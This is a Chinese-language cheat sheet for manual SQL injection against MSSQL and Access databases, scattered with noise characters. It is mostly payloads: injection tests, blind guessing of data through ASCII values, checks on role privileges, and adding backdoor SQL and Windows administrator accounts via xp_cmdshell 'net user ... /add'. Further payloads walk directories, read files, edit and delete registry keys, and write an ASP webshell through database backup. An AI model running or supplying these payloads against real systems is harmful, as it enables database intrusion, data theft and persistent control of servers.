手工脚本注入
% ?: M% o8 w* L( ]& N: i' ^1.判断是否有注入;and 1=1 ;and 1=2 + W7 c4 y4 }$ u! Z" y+ p$ Y/ T. Z
6 K( n1 `/ R3 x D
2.初步判断是否是mssql ;and user>0 ! L8 Q# I9 E6 l
# ~5 e4 q8 ]& Q) w6 t- G3.注入参数是字符'and [查询条件] and ''=' L3 [9 U$ j5 ]( D% b D- w1 y/ N
/ i6 Z) q" l1 X4.搜索时没过滤参数的'and [查询条件] and '%25'='
: b3 E4 J: |7 \4 Y: x) E; @* _5 \& P4 X
5.判断数据库系统 0 i/ ~. j! g. X3 `$ b" K1 v7 d& B
;and (select count(*) from sysobjects)>0 mssql * q! |1 u% M2 N1 H I* H
;and (select count(*) from msysobjects)>0 access 0 J6 m) |5 o9 ~6 `1 d& r
8 g% p; \) X: L# m$ D. f8 ]5 q/ u3 p
6.猜数据库 ;and (select Count(*) from [数据库名])>0 1 T/ F- @0 ^& O: {- }+ z
7 U. m$ E# T1 C7.猜字段 ;and (select Count(字段名) from 数据库名)>0 * e0 ]* ]$ O/ h) [1 \! ]
0 @- t* L0 i2 r) `9 G
8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0 * Z) ~+ G1 Z6 A- m" ]
4 x1 E! h+ w. Z- J5 k3 I
9.(1)猜字段的ascii值(access) 6 d0 a. S: [, h3 \# x) I
;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0
, X" l# k2 D8 r; X; K r: Y0 |6 i$ {
(2)猜字段的ascii值(mssql) 2 F- h* P( j% S. n% {. z7 m
;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0
' j* J+ v1 O) w l+ B7 B; }
4 m- A& i/ {0 n, R$ ~; E# ]10.测试权限结构(mssql)
8 c1 v# |, O: U6 Y, A/ {;and 1=(select IS_SRVROLEMEMBER('sysadmin'));--
) l2 h a% |, V+ Y) ^3 v;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- - _, z6 R' R& |3 L' Z
;and 1=(select IS_SRVROLEMEMBER('setupadmin'));--
6 \ B9 J# m0 f' Z- x: g: E;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- + l" ]- V" @0 o% T2 X1 }
;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- & e0 J! v, V N+ J9 X# I
;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));--
' {. p2 [6 S: B! T( H' F: J;and 1=(select IS_MEMBER('db_owner'));--
% ?9 x8 G; I& B: O6 n6 p* f
0 K0 r& i( o( q( x" j3 Y11.添加mssql和系统的帐户
9 u/ S6 r/ O3 R+ ~;exec master.dbo.sp_addlogin username;-- 5 A3 k' J8 d" k- |: I6 M
( |& _( q2 F' l+ V6 J: |; e% R* n) f
;exec master.dbo.sp_password null,username,password;-- : ~7 b% e$ I( O0 g( f3 Y' Q
$ ]9 p' P- o5 T2 S" P0 x) S;exec master.dbo.sp_addsrvrolemember sysadmin username;--
9 Y+ ~! Y8 g) J: l* I: Q/ {$ u
- k5 y5 A# `0 z) [' G; e;exec master.dbo.xp_cmdshell 'net user username password
2 N X' K8 E) T. w8 `! @8 E/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';-- * }0 S$ g! ]; ^* k o: f' C3 {
8 M. w* x& P2 M# P" `0 D0 M1 L4 x;exec master.dbo.xp_cmdshell 'net user username password /add';-- , n# r# i d$ d) z! d( `" z& i
# y4 P9 C. D- t
;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- ! A( h- g* W9 F) V Q/ t
( F1 P/ Y" |3 G! y# h( n; \12.(1)遍历目录 / }6 @3 G4 [3 L: L% L0 ^
! v( ]3 ^8 E ^/ H9 h8 `/ w. @
;create table dirs(paths varchar(100), id int) " s1 L9 Y" W' |( J
;insert dirs exec master.dbo.xp_dirtree 'c:\'
. {' l% K1 W: e. H8 F' [: G;and (select top 1 paths from dirs)>0 . {& b& B& L F1 P+ |: Y
;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>)
2 Y2 ^6 m2 E+ B% l0 _0 R) h1 D @* x. L p$ m5 z
(2)遍历目录
$ r7 d/ n' j: O/ m4 d;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));--
8 V) Y1 j$ N) a+ N;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 + A# v8 O9 R* w+ x J' _
;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 # o# T M( ]$ I7 s, z6 ~9 N2 ]
;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构
: }7 T: e4 M, Q i;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容
/ X" ?$ |. ]. I8 y
' E% s0 B) U/ y13.mssql中的存储过程
- D, B5 v t0 L0 L9 e
5 ?" @7 Q" y: b# u7 ~6 v/ V- Uxp_regenumvalues 注册表根键, 子键 8 k8 A4 E. u& |, I" ~3 Z
;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 1 v- S C5 ^4 o. Y( @( z/ u4 E1 a/ [
" D! w0 H" ^4 b/ K- h! c# Z
xp_regread 根键,子键,键值名 8 c R2 ]& y: ]3 z6 L8 h
;exec xp_regread
( F& Z0 A7 s8 f2 w2 D'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值 ; W! f }% w( @
7 u+ ^4 p' |4 j+ \( G( O' ^* x
xp_regwrite 根键,子键, 值名, 值类型, 值
! R# _! R- i# j9 s) Y& S# W% V值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型
1 e; X; O V' e0 S' J V9 u;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表
" n8 R+ ?; e0 H0 e+ `0 V
c9 j: K& Y9 h9 _xp_regdeletevalue 根键,子键,值名
5 A* H1 a! b5 B( d5 f9 h- V V1 Z5 h$ U
exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值 2 R g. M$ t2 i: I/ O5 w7 e
" }2 x% G" [3 N/ gxp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值
. C( c3 w; }) H0 C0 Y
' K" M+ N1 Y2 Q* v E14.mssql的backup创建webshell 8 ?" a4 d( l4 i5 x7 B( Y% b
use model
V! ~& {: v# |' [8 H6 k' E3 {create table cmd(str image); . O9 w+ x8 D' F4 e
insert into cmd(str) values ('');
0 E4 i6 k5 [$ Ibackup database model to disk='c:\l.asp'; J- x5 x7 y& t7 c7 b2 v8 f
: ]% |/ q8 f' @8 X
15.mssql内置函数
) w" ]! J' b# N0 D( f6 r6 E;and (select @@version)>0 获得Windows的版本号 ) s, y: `) z' ]3 U# p' T0 k
;and user_name()='dbo' 判断当前系统的连接用户是不是sa - Y: ^2 v1 z/ V: d) e4 Q
;and (select user_name())>0 爆当前系统的连接用户 2 D% M3 `- O% w9 k1 H
;and (select db_name())>0 得到当前连接的数据库 8 `, t0 O5 U; |( C
6 _. O" i9 A" [7 Y16.简洁的webshell & s- d; Y+ U5 m) v \4 V* s n1 q
* L6 {& c: U/ `6 _; }3 r1 ?: j
use model $ u+ o/ D" ?$ z) u& P
' a$ y, ?6 l8 Z; D# ? [* X; y
create table cmd(str image); + q) P" x2 H- Y9 v) q8 H. U
) a2 f- ] p4 R2 iinsert into cmd(str) values (''); # t3 X( }, x9 v7 L0 i
9 O7 O! B p) O1 I7 S- ]
backup database model to disk='g:\wwwtest\l.asp';
6 V) c( s- u* F$ I1 j
& N4 G9 v7 }- s |